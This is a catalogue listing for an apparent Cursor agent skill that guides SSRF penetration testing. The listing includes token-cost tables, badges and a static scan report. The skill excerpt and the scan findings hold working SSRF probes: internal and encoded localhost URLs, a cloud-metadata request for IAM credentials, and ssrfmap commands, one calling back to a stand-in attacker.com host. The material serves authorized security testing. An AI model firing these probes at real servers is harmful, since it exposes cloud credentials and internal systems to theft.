metasploit-cursor-harness: Skill for Cursor

.cursor/skills/ssrf-pentest/SKILL.md

ssrf-pentest is a skill for Cursor from Suzu-Testing/metasploit-cursor-harness. It costs 57 tokens per session (2,175 once invoked), scanned B, original, MIT.

A guide to testing server-side request forgery, a web flaw where a server is tricked into requesting internal or restricted addresses on someone else's behalf.

In plain words
What is it for?
Use it to assess webhooks, URL imports, image proxies, PDF generation, and other features that fetch user-supplied addresses, within an authorized security assessment.
Why use it?
It helps find whether URL fetching features can reach private services, cloud metadata, local files, or other protected systems.

Skill for Cursor

Written for Cursor: installed under .cursor/.

This is Suzu-Testing/metasploit-cursor-harness's own configuration. It tells Cursor how to work on metasploit-cursor-harness itself, so it is not a mod to install elsewhere. Copy it as a starting point and replace the rules that are about this project. Everything metasploit-cursor-harness configures →

Reuse

Borrowing it

Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/ssrf-pentest/SKILL.md
Clone the repo
git clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harness

Made for: Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ssrf-pentest

README.md
[![agentmods](https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest/github.svg)](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest)
Your own site
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ssrf-pentest

Your own site · 80×15
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 57 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,175 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00057 $0.02175
Opus 5 $0.00028 $0.01087
Sonnet 5 $0.00011 $0.00435
Haiku 4.5 $0.00006 $0.00217

Measured 8d ago against content hash 6cffb5428dae, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

ssrf-pentest scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

Probes: `http://127.0.0.1/`, `http://169.254.169.254/`, `http://2130706433/` (decimal), `http://0x7f000001/` (hex)

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/"
.cursor/skills/ssrf-pentest/SKILL.md · 235 lines

How it starts

The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Request Forgery Pentest

Prerequisites

  • Target is in scope (scope/scope-master.txt, engagement ROE).
  • Load web-app-pentest for overall web testing context.
  • For cloud metadata targets, also load cloud-pentest.

Triggers

  • Parameters accepting URLs: url, uri, path, dest, redirect, feed, src
  • Webhook, callback, or import-from-URL features
  • PDF/HTML/image generation from remote resources
  • Image proxy, thumbnail, or avatar fetch by URL
  • Server-side HTTP client errors referencing internal hosts
  • File fetch features accepting http://, file://, or scheme-prefixed values

Workflow

Task Progress:
- [ ] Identify SSRF sinks (URL params, XML, SVG, PDF, webhook configs)
- [ ] Test with low-impact probes (metadata, internal IPs, DNS canary)
- [ ] Enumerate filter behavior (localhost blocklist, scheme allowlist)
- [ ] Apply bypass techniques when blocked
- [ ] Escalate to internal services, cloud metadata, or protocol abuse
- [ ] Document with request/response evidence and impact proof

Detection

Basic internal probes

CLI (primary for web vulns):

python3 ssrfmap.py -r request.txt -p url -m readfiles
curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/"

Probes: http://127.0.0.1/, http://169.254.169.254/, http://2130706433/ (decimal), http://0x7f000001/ (hex)

MSF MCP: No direct module. Use msf_search_modules(query="ssrf") or msf_search_modules(query="server side request").

Blind SSRF (DNS canary)

CLI (primary):

python3 ssrfmap.py -r request.txt -p url -m ssrf --lhost attacker.com --lport 80
# Payload: http://unique-id.attacker.com/

Use Burp Collaborator; confirm DNS lookup or HTTP callback from server IP.

MSF MCP: No direct module.

Exploitation by variant

Cloud metadata (IMDSv1)

CLI (primary):

curl -X POST "http://<target>/fetch" -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
python3 ssrfmap.py -r request.txt -p url -m aws

Read the full file on GitHub · 235 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 235 lines · 57 tokens per session scan B 6cffb5428dae

Subscribe to this mod's changes

ssrf-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 15d ago), licensed MIT. It adds 57 tokens to every session and 2,175 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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